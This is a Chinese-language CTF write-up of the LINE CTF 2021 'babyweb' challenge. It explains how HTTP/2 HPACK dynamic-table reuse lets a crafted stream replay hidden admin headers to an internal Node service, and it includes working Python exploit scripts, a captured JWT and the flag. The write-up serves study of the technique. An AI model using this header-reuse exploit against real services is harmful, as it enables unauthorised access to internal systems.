0x00 前言

哈喽,大家好,我是童话。

最近一段时间一直没更新博客[1],一方面是自己懒了,另一方面是由于工作性质的原因,很多工作中有趣的事情也不方便拿出来讲,又没有特别大块的时间去系统的搞一些独立项目、安全研究等,更新博客的事情便一拖再拖。

前阵子偶然看到 @Panda 师傅的公众号,更新频率以及质量都很高,至少我读过之后还是蛮有收获的,能在保持如此更新频率的情况下,还要兼顾质量,对于一个工作党来说,我个人认为这一点非常难得,并且是值得学习的。

说来惭愧,自己在 3 年前也注册过公众号,遗憾的是至今没有更新过一篇文章。

每次写博客的时候,我都在想要输出什么样的内容,最开始写东西的时候我都会事无巨细的写下来,包括操作流程、思考的过程。

有一段时间看到其他博主在写文章的时候只展示关键的操作步骤,并遗漏掉思考的过程,我发现很多安全学术界的论文也有这种现象。

这就导致了一个问题,从读者的角度来看,对于不熟悉的垂直领域,看到这样的文章,乍一看不明觉厉,实际操作起来没有办法复现,干着急,如果读者对这个领域比较熟悉的话,文章本身对他来说又没有特别多的价值,食之无味,弃之可惜。

我也曾经也模仿过这种写作风格,但我发现,这都不是我自己。前阵子在参加 Hacking Club 沙龙的时候,@Snowming 也和我说过,写文章的时候要考虑读者的感受,这样才能保证大家都有收获。

我想确实是这样的,至少几个月之后回头来看,我自己还是可以顺着整个文章完整的对某一个技术点进行复现。

在现实生活中,我并不是一个擅长表达的人,也很少去和朋友谈及我对某一件事情的看法和感受。思来想去,还是决定把这个公众号运营起来,对于这个公众号的定位,一来是分享一些不会太长但绝对有趣的安全技术知识点,另一方面也是向朋友们汇报一下我的近况,互通有无。

对于实时安全漏洞/事件跟进,我也许会发,也许不会发,虽然我很擅长这些,但是我确实不想在公众号运营上花费太多的时间。

0x01 LINE CTF 2021 - babyweb

好了,啰嗦了这么多,进入今天的正题,来聊一聊 LINE CTF 2021 [2] 中 babyweb 这道题。

(比较有意思的是,在比赛开始之前,我的赛棍学弟 @T4rn 师傅跟我聊到的几个 Web 安全考点,几乎全部命中了。)

先来看一下题目:

Hint: babyweb/Neko is cute

源码:https://linectf.me/files/1db709b29e1b03b8f3a53102af0d5d6e/babyweb.tar.gz?token=eyJ1c2VyX2lkIjozMTEsInRlYW1faWQiOjIxOSwiZmlsZV9pZCI6OX0.YF8yeg.0rx3_9pOkTTFO53cmdyjRR5OuQc

题目地址:http://35.187.196.233/

0x02 Writeup

黑盒大概浏览一下,功能比较简单,【Home】主页,【Note】添加和浏览笔记,直接暴露在外部的就没有其他的功能点了。

翻一下代码,这里比较银杏化的一点是,LINE CTF 的 Web 题目都是用 Docker 搭建的,我们可以把代码保存下来,未来可以用 Docker Compose 一键部署进行测试学习。

本地运行环境(我用的是 CentOS 7,需要提前安装好 Docker 和 Docker Compose):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo yum remove docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-engine

sudo yum install -y yum-utils

sudo yum-config-manager \
--add-repo \
https://download.docker.com/linux/centos/docker-ce.repo

sudo yum install docker-ce docker-ce-cli containerd.io
sudo systemctl start docker

sudo yum install docker-compose -y

bash run.sh

如果你的操作系统默认的 Python 为 python2,运行上述命令时,会报错误“SyntaxError: invalid syntax”,修改 run.sh 中的 python 为 python3 即可解决。

浏览了一下 run.sh、gen.py、docker-compose_tmp.yml 这 3 个文件,运行环境由 3 个 service 支撑,分别为 babyweb_public、babyweb_internal、babyweb_httpd。

由端口映射情况可知,babyweb_httpd 为我们刚刚访问,暴露在外部的服务。由环境变量的设置情况可知,Flag 埋在 babyweb_internal 服务中。

检查在 /home/centos/CTF 目录下所有文本文件中包含 12000、12001 的行号:

1
2
grep -rnw '/home/centos/CTF' -e '12000'
grep -rnw '/home/centos/CTF' -e '12001'

通过 httpd/httpd.conf 的文件内容(L552-L563)可知,babyweb_httpd 为一个反向代理,将请求转发到后端的 http://babyweb_public:12000/ 中。

1
2
3
4
5
6
7
8
9
10
11
12
<VirtualHost *:80>
ErrorDocument 503 "NOP"
ErrorDocument 502 "NOP"
ErrorDocument 501 "NOP"
ErrorDocument 401 "NOP"
ErrorDocument 400 "NOP"

ProxyRequests Off
ProxyPreserveHost On
ProxyPass / http://babyweb_public:12000/
ProxyPassReverse / http://babyweb_public:12000/
</VirtualHost>

基于上述信息,猜测完整的交互情况为:外部用户访问 12001 端口(CTF 竞赛环境为 80,自建测试环境为 12001)的 babyweb_httpd 服务,babyweb_httpd 将请求转发至后端的 babyweb_public,babyweb_public 部分功能依赖 babyweb_internal,在某种情况下可以请求拿到 Flag。
继续分析一下 public、internal 两个目录下的源码,public 是基于 Flask 开发的 Web 应用,internal 是一个 Node 应用。逆序梳理出获取 Flag 的思路如下,
请求 /flag 路由,在请求头中携带正确的 x-token 信息获取 Flag:

1
https://babyweb_internal:8443/flag -> router() -> getFlag() -> req.headers['x-token'] , checkToken() -> verify() -> decode() -> CONFIG.flag

请求 /auth 路由,在请求头中携带正确的用户名和密码信息,生成 JWT token:

1
https://babyweb_internal:8443/auth -> route() -> auth() -> -> req.headers[CONFIG.header.username], req.headers[CONFIG.header.password], authCheck() -> encode()

babyweb_public 是一个 Flask 应用,其通过 Blueprint 的方式定义了 /internal/health 路由(POST 请求),会向 https://babyweb_internal:8443/authhttps://babyweb_internal:8443/health 发起请求。
我们可以采用如下 HTTP 报文,通过响应内容验证请求已经可以抵达后端 Node 应用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /internal/health HTTP/1.1
Host: 35.187.196.233
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=eyJ1aWQiOiJkZTBmZWJiNS1hYTk5LTQyZjktYWZlZS0yZTE1NTRmNjIzNGIifQ.YGAK1Q.-aUr8s8SrSq0bx6iKZz7D0MsSas
Upgrade-Insecure-Requests: 1
Content-Type: application/json;charset=utf8
Content-Length: 32


{"type": "1.1", "data": "222"}

接下来就是这道题的核心考点,public/src/internal.py#L45-L61:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
elif data["type"] == "2":
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()

headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"]
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()

conn._new_stream()

conn._send_cb(data["data"].encode('latin-1'))
conn._sock.fill()
return conn._sock.buffer.tobytes()

再次梳理一下思路,突破这部分关键代码(public/src/internal.py#L57-L61),通过某种方式获取 JWT token,利用获取到的 JWT Token 请求获取 Flag。

Hyper 是一个基于 Python 实现的 HTTP/2 客户端 [7],

方法通过连接的 stream socket 发送任意数据,相关的源码为 [8],也就是说,我们可以利用``` _send_cb() ```方法,在新的 stream 中,创建一个新的 HTTP 请求,即 ```data["data"].encode('latin-1')``` 中的内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
14

说到这里,要简单科普一下 HTTP/2 中 stream 的概念。在 HTTP/2 中,一个 connection(连接) 被分为多个 stream,每一个 stream 携带单独的 request-response(请求-响应)对 [9],Hyper 确保每一个响应匹配到正确的请求中。
HPACK 是 HTTP/2 用于压缩编码 Header 信息的压缩算法规范,hpack 是一个 Python 第三方库,提供 Python 接口实现 HPACK 压缩算法,用于压缩 HTTP/2 中的 HTTP Header [11]。

*We also found out that HTTP2 has Huffman Coding and some of useful information can be re-referenced and re-used in the upcoming stream.[6]*

HTTP/2 采用 Huffman 编码,在 upcoming stream 中一些有价值的信息可以被 re-referenced/re-used。

Hyper 压缩算法会将 HTTP Header 中的常用字符串用数字来代替 ,以此来减少 Header 中的字节数。这个 Huffman 编码是说,将一些高频次出现的数字采用更精简的字节来代替,比如对于数字 1 来说,我们可以采用 8 bit 的 1 个 byte 来表示,也可以直接采用 1 bit 来表示,以此来使 HTTP Header 的整体字节数更少。我们前面提到过,一个 HTTP/2 connection 包含多个 stream,每一个 stream 都会携带单独的 request-response(请求-响应)对,每一个 request 都存在一个 Header 信息,Header 中的字段可以视为 name-value 的有序集合,字段的顺序在经过 Hyper 压缩算法压缩前后顺序不变,所以此时,我们的思路就是通过遍历字段索引(index)方式即可获取到每一个 Header 字段。

(由于是在同一个 HTTP/2 connection 中,不同的 stream 的 Header 字段,由同一个有序集合进行维护。 这里涉及到 Indexing Tables 的概念,一个 connection 维护一个 Indexing Tables,Static Table 为协议规定的 61 个 Index 是固定不变的,这道题目自定一的两个 Header 字段(x-user-{uuid4()}、x-pass-{uuid4()})为 Dynamic Table 表中的内容。关于这部分详细且权威的介绍,可以参考 RFC 文档。[12])

结合题目的代码来看,在 ```conn._new_stream()``` 这个新的 stream(upcoming stream) 创建之前,向 /auth 发起过请求,且之前的请求 Header 中是包含了正确的用户名和密码字段的,如果我们可以通过遍历 Header 字段索引(index)的办法 re-used(重用)这两个 Header 字段(x-user-{uuid4()}、x-pass-{uuid4()}),再次向 /auth 发起请求的话,就可以顺利拿到 JWT Token 了。
构造获取 JWK Token 的利用代码如下:

import requests
import hpack
from hyperframe.frame import *

def header(id, idx):
enc = hpack.Encoder()

h1 = enc._encode_indexed(idx)
h2 = enc._encode_indexed(idx + 1)
ha = enc.encode({
    ':path': '/auth',
    ':method': 'GET' })

hb = enc.encode({
    ':authority': 'babyweb_internal',
    ':scheme': 'https'
})
h = ha + hb + h1 + h2

p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p

sess = requests.Session()
HOST = ‘35.187.196.233’

for i in range(62, 128):
r = sess.post(‘http://‘ + HOST + ‘/internal/health’, json={
‘data’: b’’.join([header(5, i)]).decode(‘latin-1’),
‘type’: ‘2’
})

content = r.content
print("")
print(i)
print(content)
while content:
    frame, length = Frame.parse_frame_header(content[:9])
    print(frame, length)
    content = content[9 + length:]
1
2

可以获取到 token 信息如下:

65
b’\x00\x00\x02\x01\x04\x00\x00\x00\x05\x88\xbe\x00\x00\xab\x00\x01\x00\x00\x00\x05{“result”:true,”token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0”}’
HeadersFrame(Stream: 5; Flags: END_HEADERS): 2
DataFrame(Stream: 5; Flags: END_STREAM): 171

1
2

剩下的内容就简单了,我们拿着获取到的 token 构造一个新的 HTTP/2 请求,相关漏洞利用代码如下:

import requests
import hpack
from hyperframe.frame import *

def header(id):
enc = hpack.Encoder()
h = enc.encode({
‘:path’: ‘/flag’,
‘:method’: ‘GET’,
‘:authority’: ‘babyweb_internal’,
‘:scheme’: ‘https’,
‘x-token’: ‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0’
})
p = HeadersFrame(id, h)
p.flags.add(‘END_HEADERS’)
p = p.serialize()
return p

sess = requests.Session()
HOST = ‘35.187.196.233’
r = sess.post(‘http://‘ + HOST + ‘/internal/health’, json={
‘data’: b’’.join([header(5)]).decode(‘latin-1’),
‘type’: ‘2’
})
content = r.content
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]
`

最终获取到 Flag 为:LINECTF{this_ch4ll_1s_really_baby_web}

0x03 后记

这道题目还是蛮有意思的,总结一下,核心的考点是利用 HPACK 在同一个 connection 的不同的 stream 中使用相同的 Indexing Tables 这一特性导致的 Header 字段重用。

另外,目前,CTF 的线上环境仍然是有效的,有兴趣的读者可以直接访问做一些测试。我这边也将赛题环境和漏洞利用代码备份到了 Github 上留存,地址为:https://github.com/tonghuaroot/My-CTF-Web-Challenges/tree/main/LINE%20CTF%202021/babyweb

0x04 参考链接

[1] TonghuaRoot’s BloG. - Cyber security enthusiast, not Hacker. - https://tonghuaroot.com/

[2] LINE CTF 2021 https://linectf.me/

[3] What is the difference between docker-compose ports vs expose https://stackoverflow.com/questions/40801772/what-is-the-difference-between-docker-compose-ports-vs-expose

[4] How do I find all files containing specific text on Linux? https://stackoverflow.com/questions/16956810/how-do-i-find-all-files-containing-specific-text-on-linux

[5] Install Docker Engine on CentOS https://docs.docker.com/engine/install/centos/

[6] LINE CTF 2021 Writeup - babyweb https://hackmd.io/@stypr233/linectf#babyweb

[7] Hyper: HTTP/2 Client for Python https://hyper.readthedocs.io/en/latest/index.html

[8] _send_cb() https://github.com/python-hyper/hyper/blob/development/hyper/http20/connection.py#L625-L642

[9] Streams https://hyper.readthedocs.io/en/latest/quickstart.html#streams

[10] HPACK和twitter hpack源码解析 https://www.jianshu.com/p/96f21b9b4fd5

[11] hpack: HTTP/2 Header Compression for Python https://python-hyper.org/projects/hpack/en/stable/

[12] Indexing Tables https://tools.ietf.org/html/rfc7541#section-2.3